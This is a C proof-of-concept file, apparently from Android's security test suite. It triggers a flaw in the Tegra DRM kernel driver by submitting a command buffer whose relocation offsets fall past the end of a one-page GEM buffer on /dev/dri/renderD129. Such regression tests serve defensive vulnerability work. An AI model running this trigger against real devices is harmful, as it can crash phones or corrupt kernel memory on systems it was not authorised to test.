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92 lines
2.2 KiB
92 lines
2.2 KiB
/*
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* Copyright (C) 2017 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <unistd.h>
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#include <stdio.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <sys/ioctl.h>
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#include "local_poc.h"
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#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
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#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
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#define DEV "/dev/dri/renderD129"
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#define CMD_NUM 1
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int dev_fd;
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volatile struct drm_tegra_open_channel open_c;
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volatile struct drm_tegra_submit submit_c;
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volatile struct drm_tegra_gem_create gem_create;
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struct drm_tegra_cmdbuf cmdbufs[CMD_NUM];
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struct drm_tegra_syncpt syncpt;
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struct drm_tegra_reloc relocs[CMD_NUM];
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static int prepare()
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{
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open_c.client = HOST1X_CLASS_VIC;
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submit_c.num_syncpts = 1;
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submit_c.syncpts = (__u64)&syncpt;
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submit_c.num_cmdbufs = CMD_NUM;
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submit_c.cmdbufs = (__u64)cmdbufs;
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submit_c.num_relocs = CMD_NUM;
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submit_c.relocs = (__u64)relocs;
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gem_create.size = PAGE_SIZE;
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return 0;
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}
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int main()
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{
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int ret;
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int i;
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dev_fd = open(DEV,O_RDONLY);
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if(dev_fd == -1){
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return 0;
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}
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prepare();
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ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
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if(ret == -1){
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goto out_dev;
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}
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submit_c.context = open_c.context;
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ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
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if(ret == 0){
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for(i = 0; i < CMD_NUM; i++){
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cmdbufs[i].words = 0;
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cmdbufs[i].offset = 0;
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cmdbufs[i].handle = gem_create.handle;
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relocs[i].cmdbuf.handle = gem_create.handle;
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relocs[i].cmdbuf.offset = 8192;
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relocs[i].target.handle = gem_create.handle;
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relocs[i].target.offset = 8192;
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}
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ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
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}else{
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}
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out_dev:
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close(dev_fd);
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return 0;
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}
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